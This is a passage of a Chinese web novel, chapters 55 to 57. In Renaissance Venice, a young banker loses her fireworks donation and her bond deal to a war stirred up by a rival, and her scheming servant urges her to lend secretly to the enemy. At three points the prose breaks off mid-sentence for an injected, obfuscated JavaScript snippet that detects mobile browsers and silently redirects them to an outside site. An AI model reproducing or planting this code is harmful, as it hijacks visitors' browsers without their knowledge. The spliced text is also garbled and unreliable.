“你一定要等到七月的第三个星期日之后再走。”莉莉斯抱着枕头打了个哈欠,懒懒地玩弄着伊索尔德长长的银白色头发,“那一天威尼斯的夜空中将会绽放很多很多烟花,一定非常漂亮。今年我也出资捐赠了一份,算是……” “算是什么?” “算是给海因里希的生日礼物。”莉莉斯有些不好意思地把脸埋进枕头,“不过不是你认识的那个海因里希!七月三十一号是我丈夫的生日,虽然和庆典不在同一天……但我是以哀悼丈夫的名义捐赠的烟花。” “哦,这样啊。”伊索尔德仿佛发现了什么不得了的事,轻笑着问,“你给丈夫和奴隶起了一样的名字?” “不是的,其实我根本没见过我的丈夫。我只是觉得这个名字很好听而已。” “这个名字确实很好听,在德意志也很流行。有个与我母家是世交的家族,里面世代所有的男性成员都叫海因里希。”伊索尔德笑着翻了个身,“所以,你们真的不是那种关系吗?你放心吧,现在我作为你的朋友,可绝对不会来横刀夺爱了。” “不是。真的只是普通的主人与仆人而已。” “你很在乎他。”伊索尔德用长长的指甲轻轻戳了戳莉莉斯的额头,“这没什么好否认的。明眼人都能看得出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280871|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。况且在你这个年纪,享受一下爱情也不是什么罪大恶极的事。” “不行,工作实在太忙了,我还得抽时间和朋友一起玩,没空去想那些有的没的东西。” “朋友和爱情又不是什么互相冲突的事。”伊索尔德意味深长地笑了笑,拉起被子为莉莉斯盖上,“而且有些令人愉悦的事只能和爱人一起做。莉莉斯,你从来没想过吗?” “从来没有……”莉莉斯已经满脸通红了,“可那种事不都是为了让男人开心吗?女人像奴隶似地服侍他们,还会被弄疼。” “当然不是了。”伊索尔德露出讳莫如深的笑容,“可以两个人都感到愉悦的,如果对方技术好的话,也并不会弄疼……嘛,试试看吧,你总有一天会明白的。只是要保护好自己哦。” 伊索尔德与她说完这些后便抱着被子转身睡过去了,莉莉斯却一整夜都没有睡好。她的梦境里时不时穿插进了一些旖旎的画面。 她在梦中与海因里希拥抱——这没什么,她几乎每天都与他拥抱;他们接吻,他们甚至做了更加亲密的事——这究竟会是什么感觉呢?她想象不出来。 莉莉斯醒来以后愈发好奇,甚至有些跃跃欲试。或许等伊索尔德离开后,可以找个机会和海因里希试试看?如果是他的话,应该可以让她舒服吧? 莉莉斯并不觉得所谓“贞节”是什么了不起的东西,“守寡“也只是为了在外人面前做个样子。凭什么女人的第一次就被冠以仿佛至高无上的价值,而男人却根本没有贞节的概念?这根本就不公平。 如果那种事真的像伊索尔德所描述的一样能够使她感到愉悦,她并不介意去试试看,只是不能影响工作,工作要紧。所以还是以后再说吧…… 庆典的日子很快便来临。莉莉斯由于以克纳罗银行的名义捐赠了不少烟花,威尼斯十人委员会特意发了信函邀请她携家属亲眷前往总督府的阳台,以最好的视角观赏绽放在夜空中的华丽色彩。 由于埃莱娜姑姑和克拉拉修女都不喜欢凑这种热闹,莉莉斯便邀请了索菲亚和伊索尔德两个朋友,由海因里希和塔塔陪着一起去。伊万卡为她梳了一个格外华丽漂亮的发髻,黑纱上缀满了镶嵌珍珠与钻石的黑色绒布玫瑰。黑色的丝绸长裙轻薄而不失优雅。 为显尊重,莉莉斯早早便到了总督府参加欢迎酒会,与共和国中手握重权的男人们寒暄致意。宽敞明亮的大厅中金碧辉煌,墙上、天花板上装饰着精美绝伦的壁画。十人委员会是威尼斯共和国的最高执政机关,有的叔叔伯伯莉莉斯从前便已经在贵族舞会中有过一面之缘,只是这些位高权重者从前自然不会把一个落魄贵族家的私生女放在眼中,现在却不得不低下头重新打量这个古灵精怪的小女孩了。 最初还是莉莉斯端着酒杯去主动搭讪,渐渐的,便有越来越多的陌生人自发凑到了莉莉斯的身边,纷纷赞美她的才干与美貌。莉莉斯好不容易习惯了在社交场合里应对冷嘲热讽和明褒暗贬,现在面对着清一色点头哈腰的奉承反倒有些措手不及。 比起这些无用的社交,她其实更想能尽快看到烟花,便找了个借口从人群中溜走,爬上楼梯来到预留好给自己的那一块阳台前。索菲亚和伊索尔德正坐在小圆桌前边吃点心边聊天,塔塔靠在栏杆上欣赏着日落时分海天一色的美景,却唯独不见海因里希。 “海因里希呢?”莉莉斯问道。 “我回来了。”海因里希跟在莉莉斯身后,气喘吁吁地跑过来,神情严肃而凝重,“刚刚侍者把我叫走了,说是有紧急通知。” “怎么回事?” “庆典活动的烟花表演部分取消了,入夜后的表演将直接开始歌舞、戏剧与合唱。” “什么!?那我买的烟花要怎么办?”莉莉斯感到难以置信。 “您捐献的烟花将被征用进威尼斯军械库用以制作炸药。夫人,十人委员会也是刚刚得到的消息。帕多瓦旧贵族发生了叛乱,拉拢了米兰公国一起向威尼斯发起了战争。” 56.切断的现金流 “什么!?”索菲亚和伊索尔德听到了消息,纷纷露出大惊失色的神情。 帕多瓦是莉莉斯和海因里希的苏黎世之旅中到访的第一座意大利北部城镇,从15世纪初开始成为威尼斯共和国的陆上领土。在此之前,帕多瓦一直由卡拉雷西家族控制,他们为了避免被虎视眈眈的米兰公国吞并,选择了投靠威尼斯的庇护,却最终丧失了主权,沦为威尼斯的属地之一。 海因里希口中叛乱的旧贵族,想必说的就是卡拉雷西家族的残党正在试图寻求复辟。只不过他们背后依靠的米兰公国究竟是他们的盟友,还是与当年的威尼斯总督一般只是想要渔翁得利,便未可知了。 “十人委员会的意思是,先不向外放出消息,只说烟花有故障无法点燃,免得群情激愤闹出什么事端。”海因里希压低声音说着,瞥了一眼阳台下乌泱泱的人群。 “我们现在应该立刻马上离开这里。”索菲亚当机立断道,“万一帕多瓦人的细作混在了人群中想要靠暴乱来扰乱威尼斯的内政,最先攻击的就是总督府。我们现在得要赶紧撤离。” “撤离到哪里去?”伊索尔德深呼吸一口气,迫使自己保持冷静,“帕多瓦爆发战乱,也就是说,我短时间内都不可能回家了……” “我可以带你们去我在费拉拉的庄园暂避一段时间。费拉拉地处威尼斯以南,帕多瓦在威尼斯以北,管他们再怎么打也打不到费拉拉去。从前威尼斯闹黑死病的时候,我便会到那里避难去。我们现在赶紧回去收拾一下东西,今晚就乘船出发。庄园里一应生活物品都很齐全,你们放心。” 言罢,索菲亚拉起伊索尔德和莉莉斯的手,正准备下楼。 “不行。”莉莉斯突然甩开了她的手,整个人都在发抖,“我不能去。” “为什么?!” “战争爆发,意味着商路被切断了,商路无法通行,汇款便无法兑付,未来合约也没有办法交货……”莉莉斯低着头,双手紧紧攥住拳头,指甲几乎要戳破手心的皮肤。 “莉莉安娜,”索菲亚很少直呼她的名字,“在人命关天的时候,你能不能别再惦记你的工作了。” “对不起,索菲亚,但我不能去。”莉莉斯迅速思考了一番做出决策,斩钉截铁地告诉她,“谢谢你关心我。如果你能带着伊索尔德一起去的话就最好了,她本身是我请来的客人,现在却要劳烦你为我照顾她,我会支付你相应的报酬的。” “莉莉安娜!”索菲亚几乎要遏制不住怒火,“我在乎的是那点钱的问题吗?我担心的是你的生命安全!” “我认为短时间内战争不会蔓延到潟湖。帕多瓦旧贵族想要复辟便已十分不易,不会有余力来攻击威尼斯的主岛。当然,岛上确实会有细作发起暴乱的风险,但是为了保持银行的正常运作,我必须留在这里。”莉莉斯的语气中没有一丝犹疑,“我们现在一起先离开这里,塔塔,一会儿回到家立刻帮伊索尔德收拾她的行李。” “莉莉……既然你已经有了决断,那我只能为你祈祷,愿主保佑你平安。”索菲亚深呼吸一口气,在胸口划上十字,“我们走吧。” 莉莉斯重新握住索菲亚的手,在海因里希和塔塔的开路下穿过对噩耗泯然不知的人群,穿过他们的欢呼雀跃,像是做了一场光怪陆离的梦。天边红得如同鲜血般的夕阳仿佛即将张开血盆大口,吞噬掉舞台上沸反盈天的歌舞,碾碎广场上渺小的人。 她刚刚还觉得自己离他们很远,远到能够在华丽的总督府中与权贵攀谈,能够在高高的观景阳台上拥有一袭远离纷扰的清净地。可她现在却感觉到自己随着人群的心脏而搏动,随着他们的命运而呼吸。海市蜃楼般的浮华比烟花还要转瞬即逝,比台上粗制滥造的戏服还要虚假。可这就是莉莉斯所面对的现实。她必须拼尽全力,才能让自己短暂拥有过的梦境变成现实。 比起华贵的珠宝和开不完的舞会,比起绚烂的绸缎和稀有的香氛,她在这场梦境中真正留恋的,是一份难得的从容,是与索菲亚见面时能够交付更多利息的不辱使命,是与伊索尔德躺在床上彻夜长谈时不会被突然冲进来的哥哥暴打一顿的安全感,是能够真正兑现从前许下的诺言,用盛放的烟花为海因里希“庆祝生日”的洋洋得意——而不是慌慌张张地为好朋友们收拾行李,不知何时才能重聚的日期,以及未能绽放烟花的、漆黑而寂寥的夜。 索菲亚不理解莉莉斯的决定,却还是在临走时千叮咛万嘱咐了一番海因里希,要求他好好照顾她的朋友。伊索尔德怕莉莉斯陷入自责,一遍又一遍地告诉她自己受邀来这一趟真的很开心,非常感谢莉莉斯的盛情款待。尽管如此,莉莉斯却还是一幅失魂落魄的样子,含着泪看她们在仆从的簇拥下上了前往费拉拉的船。 等目送她们乘船离开后,天已经全黑了。莉莉斯拖着疲惫的身体回到家,独自坐在乱得一地鸡毛的卧室地毯上,呆呆地思考着接下来该怎么办。 尽管现在手中掌握的信息极少,消息真实性也有待考证,但她仍然认为这次旧贵族叛乱比起人身安全威胁,对她而言更大的风险在于市场波动。 这并不是她轻视战争,草菅人命或是过度自信。首先,威尼斯共和国论财力是整个西欧中首屈一指的强国。除了围绕在潟湖中的几个岛屿之外,还控制着意大利本土乃至东欧爱琴海一代的数座重要港口。尽管米兰公国同样是个强大的对手,但既然战事的起因是帕多瓦贵族复辟,米兰公国则大概率扮演着搅浑水的角色,除非危及了自身的领土安全,不然不会倾尽全力。 其次,在那个时代的意大利,战争十分频繁。国家与国家之间各自聘请雇佣兵为之作战,而那些雇佣兵大多也是些得过且过的懒汉,拿钱办事而已,早就没有了古代史诗中波澜壮阔的气势和悲壮的英雄主义色彩。 发起战争变成了领主之间角力的经济手段,血与肉的飞溅变成位高权重者掠夺更多资源的背景板,庶民的死亡和毁灭被简化成可再生的金钱。 莉莉斯突然想起她从前在修道院学校学到时十分引以为豪的历史——第四次十字军东征中威尼斯坚强不息、负隅顽抗的“壮举”。她后知后觉地意识到这本质上全部是掠夺,赤裸裸的掠夺。没有一丝信仰与荣耀,全部都是利益。在这场的利益的角逐中,上位者把庶民的生命与尊严作为筹码推上赌桌,赢者赚得盆满钵满,输家失去一切。 那么在这场战争中,会有谁是赢者呢? 由于信息太少且战果未出,莉莉斯无法下定论。但她很清楚,如果她现在不采取任何反制的手段,那么她就会成为被历史的齿轮首先碾碎的牺牲品。战争切断了从威尼斯经过帕多瓦前往阿尔卑斯山以北的商路,不知道要什么时候才能恢复,这意味着她的汇兑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289251|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账目中将会出现大批违约。 而且,作为威尼斯共和国的官方货币,杜卡特金币的币值也将随战争波动。尽管这是整个欧洲信誉最好最稳定的货币之一,但若战争持续下去,难保其汇率不会下跌。而克纳罗银行作为总部在威尼斯,储存了大量杜卡特金币的大型汇兑商,将背负上承担巨额亏损的风险。 但这都不是莉莉斯最害怕出现的情况。她能想到的最糟糕的情况是,如果战争持续发酵,战况愈发恶化造成了恐慌,从前的储蓄用户全部前来取款,造成挤兑现象的话,将会彻底切断银行的现金流,使她悉心培育长大的孩子被拉入破产的深渊。 不,这样的情况暂且还不会出现。莉莉斯深呼吸。她现在需要做的,是搜集更多真实可靠的信息,然后与她的团队一起想办法,努力把损失降到最低。 “海因里希。”莉莉斯静静地说,“我知道你在门口,进来。” 海因里希应声推开门走到莉莉斯的身边,单膝跪地使莉莉斯可以平视对上他的眼睛。 莉莉斯正想开口布置工作,可是一望进那双含情脉脉地看向自己的冰蓝色眼睛,突然便说不出话来了,一头扑进了海因里希的怀里紧紧抱住了他。海因里希没能保持住平衡,被莉莉斯扑倒在地上,后脑勺一阵眩晕。 莉莉斯什么也没说,只是趴在海因里希的胸口呜呜咽咽地哭起来。海因里希努力按捺住心中某种病态而阴暗的占有欲和被依靠的满足感,只是伸出手把她紧紧抱在怀里,像哄小孩那样轻轻拍她的背。 “无论发生什么事我都会陪着您。”他附在她的耳边轻声细语地安慰她,“永远陪着您。” “我要求你不要随意许下无法兑现的承诺,可是我自己却首先失约了。”莉莉斯把大颗大颗的泪珠蹭在海因里希的衬衫上,蹭湿了一整块领口,“对不起,说好的生日礼物没能兑现。” “您知道我不在乎这些,何况您之前不是已经送给过我一份礼物了吗?”海因里希小心翼翼地坐起身,扶住莉莉斯的腰将她横抱起来,然后握住她的右手放在他的胸口找到戒指的位置,“我一直戴在身边。” “一码归一码。”莉莉斯隔着一层布料紧紧抓住那枚戒指,指甲抠进海因里希的皮肤里,像是一只护食的猫,“烟花我也一定会补上的。” “您给予我的东西太多了,我欠了您那么多恩情,真是无论如何也偿还不了了。” “你得为我工作,用工作来偿还……”莉莉斯用撒娇般的语气说道,“可恶的十人委员会……他们强行征用我买的烟花去打仗,倒是什么也不打算偿还我呢。难道他们缺钱到就这么点开销也要省吗?” “战争时期□□价格会飙升,大概是想着先囤下来有备无患吧。若是等价格上去了再采购,便很不划算了。” “平时收税也没见他们少收……那么钱都花到哪去了?”莉莉斯垂着眸嘀咕道,“一帮子道貌岸然的老头子,荷包里没几个子儿,派头倒是比谁都大。等等,如果这场战争继续打下去……他们应该会越来越缺钱吧。” “那是必然。不仅是□□,钢铁、武器、粮草,处处都得花钱。就算最后顺利平定了这次叛乱,也免不了一笔巨大的开销。” “海因里希,”莉莉斯突然紧紧握住了海因里希的手,绿宝石般的眼睛里闪闪发光,“我知道该怎么做了。” 57.蓄谋已久的垄断 第二天一早,莉莉斯启程到银行上班的时候,帕多瓦战争的消息已经彻底在威尼斯城中传开了。虽然这给刚刚经历过庆典而喜不自胜的威尼斯人脸上增添了一丝忧虑,但是战争毕竟没有波及到潟湖,大多数人的生活还是如往常一样照常进行着。码头上仍旧船来船往,里亚尔托大桥旁的集市中仍旧人声鼎沸。 七月下旬的威尼斯烈日炎炎,使得本就疲惫不堪的莉莉斯更加无心装扮。她穿着一袭简朴而舒适的长裙,疲劳的双眼下是厚厚一层黑眼圈。海因里希为她撑着阳伞一起快步穿过集市,却在康达里尼银行往来如织的门口驻足。 莉莉斯不得不好奇起了竞争对手的门口怎么聚集起了那么大一帮人。康达里尼银行虽然也叫银行,但比起主打使用客户储蓄进行再投资与汇兑交易的克纳罗银行,他们更多的是在用康达里尼家其他产业中聚集的自由资金作为资本,并以此来开展保险业务。 难道这些人是来寻求赔付的?可莉莉斯记得很清楚,在她仔仔细细阅读过的合同条款中,是有明确排除掉战争导致的货物损耗选项的。这些人是签合同之前没搞清楚,还是即便如此也想哄闹一番捞点好处? 莉莉斯给海因里希使了个眼色,从他手中把阳伞抢过来自己撑,让他挤进人群中帮自己打探一番。 “排队的有两波人。”过了一会儿,海因里希从人群中钻出来,“一波人是来买康达里尼家新推出的产品‘战争保险’的,说是专门针对战争损耗而开设的保险,有针对商品货物的,还有针对人身安全的。” “人身安全?” “似乎是指如果在战争中死去的话,会留给家属一笔抚恤金。” “这听起来坑也忒多了。商人又不是部队里登记在册的士兵。就算真的在行商路上遭遇不测,大多数都找不到尸体,家人又怎么能去证明他是因为条款中限定的那几个原因而死亡的呢?真是荒谬至极。还有一波人是干嘛的?” “来把杜卡特(威尼斯金币)兑换成弗洛林(佛罗伦萨金币)的。” “这部分人好歹还稍微动了点脑子,可惜不多。”莉莉斯继续毫不留情地批判道,“威尼斯和帕多瓦打仗,他们觉得杜卡特要贬值就争先恐后地赶紧换成了弗洛林避险。实际上威尼斯和佛罗伦萨的商业活动高度关联,这两者的币值基本上相差无几,在这种根本威胁不到威尼斯本土的小战争之下,即使短期内有汇率浮动,中长期来看汇值也不会有什么大的区别。” “您是如何推测出这些结果来的呢?”海因里希见莉莉斯异常笃定,不禁有些怀疑起她的判断了。 “因为类似这样的战争很常见,我小时候就经历过几次。那时候妈妈在赌场工作,我呢就为赌场老板去跑腿,去获得关于金币汇率价格变动的市场消息,类似塔塔的那种工作模式,她现在的工作方法论也是我交给她的。”莉莉斯甩开折扇,“不过比起这些,我以前更感兴趣的还是有关战争爆发原因的传言。” “会有些什么样的传言呢?” “比方说啊,明面上的开战原因是为了争取荣誉和彰显权力,背地里其实是领主想要找有名的画师约稿,被画师多次拒绝之后恼羞成怒,干脆就把画师的老家攻占了,逼他们为自己画稿。” “那么小众?” “嗯……不过大多数情况下还是出于经济因素吧。” “那么您说……这次战争背后的原因,是否与洛伦佐有关?”海因里希顺着莉莉斯的话提出一个假设。莉莉斯一激灵,猛地睁大双眼,握住海因里希的手,连忙往自家的银行走,把他拉进自己的办公室关上门。 “你说的似乎不是没有可能。你还记得吗?前段时间我们去处理保险事务,他手下的人说洛伦佐在佛罗伦萨,是否就是因为他判断战争爆发后弗洛林会价格上涨,因此才提前去换了很多弗洛林现金?还有所谓的战争保险,难道这么长的合同条款是他们昨天一晚上赶制出来的吗?” “确实无法排除这样的可能。而且,上次他派来偷取文件的丹特不就是帕多瓦人吗?说不定他与帕多瓦这个地方本身就有着一些不可告人的勾结。” “为了赚钱,甚至不惜挑起战争吗?”莉莉斯深呼吸,“难道必须要狠到这个地步才能继续在资本的牌桌上游戏吗?道德败坏如我都觉得有些过分了。” “相比之下,我们的应对方案就高尚得多。”海因里希耸了耸肩。 “是啊。”莉莉斯叹了口气,“你去安排一下工作吧。首先,战争封路使汇兑受到影响,我们得先计算出我们的具体损失,再去和客户协商处理方案。其次,让威廉去联系一下施密德尔家在苏黎世的代理人,商量一下有没有别的路径把钢铁运送到意大利。战争之下钢铁大涨,如果我们重新组织协调未来合约订单,说不定能挽回一些。安排好了你就回到我的办公室,我们来一起具体设计一下承销战争债券的条款,今天中午之前准备好,下午拿去找十人委员会的大叔谈判。” “遵命。” 海因里希回想起昨天夜里莉莉斯的论调。帕多瓦虽然只是个小地方,但如果与米兰公国的战争要继续下去,政府就一定会面临财政空虚而不得不依赖向民众贷款。类似的事在第四次十字军东征的时候就发生过,只不过多少采取了一些强制征收的手段。 可债券购买与否却是不涉及强迫的个人选择了,不仅能帮共和国政府顺利筹集资金,债主甚至还能从中获得收益,莉莉斯也能通过承销来赚取手续费,缓解战争带来的压力,可以说是一个有百利而无一弊的选择。 但是,当莉莉斯带着精心准备好的债券承销方案,去找到昨天下午还在与她笑着闲话家常的财政部部长时,对方却三言两语便草草婉拒了她。 “你的提议很好,但是,我们已经找到了康达里尼银行进行债券独家承销。”大腹便便的部长先生紧紧皱着眉头,一边说话一边批阅文件,看也没有看莉莉斯一眼,仿佛在百忙之间有空抽时间见她一面已经是莫大的恩典。 莉莉斯也没有再纠缠,默默离开了对方的办公室,乘船回到了自己的银行。她突然陷入了一种难以名状的空虚。由洛伦佐发起了战争的猜想在她的脑海中几乎已经变成了一个无法反驳的既定事实。她的竞争对手太贪心,太阴险,太狡猾了。他根本就没有打算放过她,恨不得把她置于死地。 莉莉斯现在能怎么办呢?她抬起头,透过窗玻璃看向远处天边的黄昏。天空被烧得像是火一样红,她突然有些后悔当初烧毁了康达里尼家的库房。在当时的情况下总觉得是一种别无选择的无奈之举,但如果重新回到那个状态下冷静地思考,其实似乎还有很多做出别的选择的可能。 但是,假设当初如果没有放火烧香料以抬高价格,按照洛伦佐一点也不亚于莉莉斯的激进行事风格,难道就能够放过她的业务扩张吗?答案或许也是否定的。 过去的事情已经过去,现在后悔也没有用了,当务之急是想出对策来应对眼下的危机。 想办法……想办法……想办法……莉莉斯痛苦地趴在办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297816|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公桌上抱住头,紧张到浑身冒冷汗,大脑里一片空白,根本没办法思考。无力感顺着血液渗透进她的五脏六腑,几乎要使她痛苦到晕倒。眼泪顺着脸颊控制不住地向下流。她尽力抑制住啜泣的声音,不希望被其他人听到。 没过多久,海因里希敲响房门送来新写好的报告。他看到莉莉斯这幅样子,顺手反锁上门,主动走到她身边把她横抱起来抱到沙发上。 “怎么了?夫人。我要怎么样才能帮到您?”海因里希抽出手帕,轻轻为她拂去眼角的泪水。 莉莉斯紧紧搂住海因里希的脖子,把下巴搭在他的肩膀上,试图用深呼吸让自己冷静。 “我去找了十人委员会的人,债券承销的法子行不通,被洛伦佐抢先了。” “这条路走不了,总还有别的路能走。” “有需求,才有供给。战争使人们滋生了融资和保险的需求,而这两项需求的供给都被鼎鼎大名的康达里尼银行给垄断了。我究竟还有什么能走的路呢?我果然还是太年轻,太缺乏经验了。”莉莉斯呆呆地感叹道,并没有期待海因里希能够给出答案。 海因里希怀抱着她的女主人,一时间竟有些犹豫是否要说出心中早就准备好的台词。莉莉斯的事业起起伏伏,不断受挫,他的计划却进行得十分顺利,竟让他不禁又开始心疼起了他的仇敌。不过理智很快战胜了感性。走到这一步,他早就已经不可能再回头了。于是,他轻叹一口气,慢条斯理地为夏娃指明伊甸园中禁果的方向: “我依稀记得我们在帕多瓦的时候,没有在那里看到过像样的银行。” “是的。我只有印象看到了一些其他地区银行的分行,但规模都很小,顶多就只有一个代理人驻扎在那里,做一些小额的汇兑交易。你提起这个做什么?”莉莉斯皱了皱眉头。 “那么您说,万一战争继续打下去,帕多瓦的旧贵族也需要融资,他们会采取什么样的办法呢?” 莉莉斯突然猛地推开了海因里希,难以置信地看着他。 “你是让我把钱贷给帕多瓦,贷给威尼斯的仇敌?可是我根本不认为他们有能力赢得这一场战争。” “您说得对,他们不过是个幌子。威尼斯现在真正的敌人是米兰公爵。”海因里希轻轻拉住莉莉斯的胳膊把她拉回到自己的怀里,用温柔而冷静的嗓音在她耳边窃窃私语,“就算战争输了,米兰人也不至于还不起贷款。” “这要是被发现了,就是叛国的罪名。风险实在太大了。”莉莉斯紧紧皱着眉头,眨了眨眼睛。 “与那些为了私利而挑起战争,害得威尼斯不得不劳民伤财的家伙来说,您这不过是顺应市场做出来的经济决策罢了。”海因里希辩解道,仔细观察着莉莉斯的反应,“而且,如果事情做得不着痕迹,便不会有人怀疑到您的头上。” “你有把握能逃脱汇兑商行会的监察吗?”莉莉斯半信半疑地问,心中已经逐渐开始动摇。 “可以伪装成汇票,只做短线的小额贷款,把钱经由黑市渠道贷给武器公司或者雇佣兵头子,而不是与米兰公爵有直接关联的人。” “确实可以这么做,但万一被发现怎么办?海因里希,你是银行的法人。要是事情败露,不仅是我,连你也逃不了被吊死或被流放的命运。” “万一被发现的话,您就假装不知情,把一切责任都推托在施密德尔家的头上就好了。”海因里希故作轻描淡写地说着,“反正您已经害死了您的丈夫,再连累一下他的家人也无伤大雅吧。”